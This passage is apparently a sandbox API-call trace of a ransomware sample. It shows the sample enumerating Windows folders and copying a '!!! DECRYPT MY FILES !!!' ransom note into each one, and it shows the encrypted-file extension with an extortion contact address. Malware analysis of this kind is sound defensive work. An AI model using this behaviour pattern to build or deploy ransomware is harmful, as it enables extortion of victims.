lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0113.512] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5040 [0113.512] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0113.512] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0113.515] GetProcessHeap () returned 0x630000 [0113.515] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fefba8, Size=0x44) returned 0x649f58 [0113.515] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.515] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0113.515] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0113.516] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", len=0x4f | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 1 [0113.516] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", cchLength=0x4f | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml") returned 0x4f [0113.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.516] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.516] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.516] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.516] GetProcessHeap () returned 0x630000 [0113.516] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x48) returned 0x64a048 [0113.516] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu", cAlternateFileName="")) returned 1 [0113.516] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\", len=0x49 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 1 [0113.516] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\", cchLength=0x49 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\") returned 0x49 [0113.516] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0113.516] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0113.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5480 [0113.519] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce328, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.519] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenubase.xml", cAlternateFileName="")) returned 1 [0113.519] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", len=0x58 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 1 [0113.519] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml") returned 0x58 [0113.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.519] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.519] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.519] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.520] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0113.520] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0113.520] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0113.520] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0113.520] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0113.523] GetProcessHeap () returned 0x630000 [0113.523] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x48) returned 0x64a048 [0113.523] FindNextFileW (in: hFindFile=0x6d5480, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.523] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0113.523] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0113.524] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskclearui.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", len=0x4c | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0113.524] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml") returned 0x4c [0113.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.524] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.524] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.524] GetProcessHeap () returned 0x630000 [0113.524] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a048, Size=0x4c) returned 0x6eed38 [0113.524] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav", cAlternateFileName="")) returned 1 [0113.524] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\", len=0x48 | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\") returned 1 [0113.524] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\", cchLength=0x48 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\") returned 0x48 [0113.524] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0113.524] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0113.525] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5340 [0113.525] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ce7a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.525] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknavbase.xml", cAlternateFileName="")) returned 1 [0113.525] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", len=0x56 | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 1 [0113.525] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml", cchLength=0x56 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml") returned 0x56 [0113.525] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.525] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.525] SysReAllocStringLen (in: pbstr=0x6ebe818*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebe818*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.525] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.525] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebd81c, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0113.526] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebd818, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0113.526] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe584 | out: lpFindFileData=0x6ebe584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x17b63f64, dwReserved1=0x1d2a02b, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0113.526] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0113.526] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0113.528] GetProcessHeap () returned 0x630000 [0113.528] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eed38, Size=0x50) returned 0x6eec30 [0113.528] FindNextFileW (in: hFindFile=0x6d5340, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0113.528] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0113.529] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0113.529] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml", psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", len=0x4b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 1 [0113.529] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml") returned 0x4b [0113.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0113.529] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0113.529] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0113.529] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0113.529] GetProcessHeap () returned 0x630000 [0113.529] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6eec30, Size=0x54) returned 0x68e6b8 [0113.529] FindNextFileW (in: hFindFile=0x6d5280, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpad", cAlternateFileName="OSKNUM~1")) returned 1 [0113.530] SysReAllocStringLen (in: pbstr=0x6ebe880*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\", len=0x4b | out: pbstr=0x6ebe880*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 1 [0113.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\", cchLength=0x4b | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\") returned 0x4b [0113.530] SysReAllocStringLen (in: pbstr=0x6ebe828*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebe828*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0113.530] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0113.530] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\*.*", lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0113.530] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06ceb7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a37a4cb, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.530] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebe884 | out: lpFindFileData=0x6ebe884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x73d, dwReserved0=0x0, dwReserved1=0x0, cFileName="osknumpadbase.xml", cAlternateFileName="")) returned 1 [0113.530] SysReAllocStringLen (in: pbstr=0x6ebe878*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", len=0x5c | out: pbstr=0x6ebe878*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 1 [0113.530] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml") returned 0x5c [0113.530] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebd7e8, cchWideChar=2047 | out: 